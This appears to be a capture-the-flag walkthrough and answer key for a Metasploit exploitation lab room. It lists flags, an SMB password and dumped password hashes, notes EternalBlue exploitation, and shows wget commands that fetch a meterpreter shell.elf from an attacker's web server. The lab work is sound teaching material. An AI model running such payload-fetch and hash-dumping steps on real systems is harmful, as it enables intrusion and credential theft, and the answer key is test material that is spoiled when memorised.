
Metasploit: Exploitation
This guide contains the answer and steps necessary to get to them for the Metasploit: Exploitation room.
Table of contents
Scanning
- How many ports are open on the target system?

Click for answer
5
- Using the relevant scanner, what NetBIOS name can you see?

Click for answer
ACME IT SUPPORT
- What is running on port 8000?

Click for answer
WebFS/1.21
- What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task.

Click for answer
leo1234
The Metasploit Database
Lets try yo replicate what they are doing. First we need to start the databases and then Metasploit.
Now we can interact with the database with the following commands:
db_status -> Check datanase status
workspace -> List workspaces
workspace -a tryhackme -> Add a workspace
workspace default -> Cange active workspace
Vulnerability Scanning
- Who wrote the module that allows us to check SMTP servers for open relay?
Look the the corresponding module and use info.
Click for answer
Campbell Murray
Exploitation
- Exploit one of the critical vulnerabilities on the target VM
We can do some scans to look for particular vulnerabilities. One easy thing to check is the host OS version.
Looks like this might be vulnerable to the Eternal Blue exploit.
- What is the content of the flag.txt file?
Search through the user folder to find and read the flag.
Click for answer
THM-5455554845
- What is the NTLM hash of the password of the user "pirate"?
Click for answer
8ce9a3ebd1647fcc5e04025019f4b875
Msfvenom
- Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type "sudo su" to get a root shell, this will make things easier.
User the provided password to log in. Then switch to the root user with: sudo su.
- Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).
- Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget http://ATTACKING_MACHINE_IP:9000/shell.elf to download it to the target machine).
On our attackbox:
python -m http.server 8080
On the target machine:
wget 10.18.78.136:8080/shell.elf
- Get a meterpreter session on the target machine.
First set up the handler in Metasploit, then change the file permission, and lastly, run the file on the target machein.
- Use a post exploitation module to dump hashes of other users on the system.
- What is the other user's password hash?
The hash can be found in the previous image. However, we could even go a step furter and try to crack the hash with hashcat.
echo '$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0' > passwd.hash
Click for answer
$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0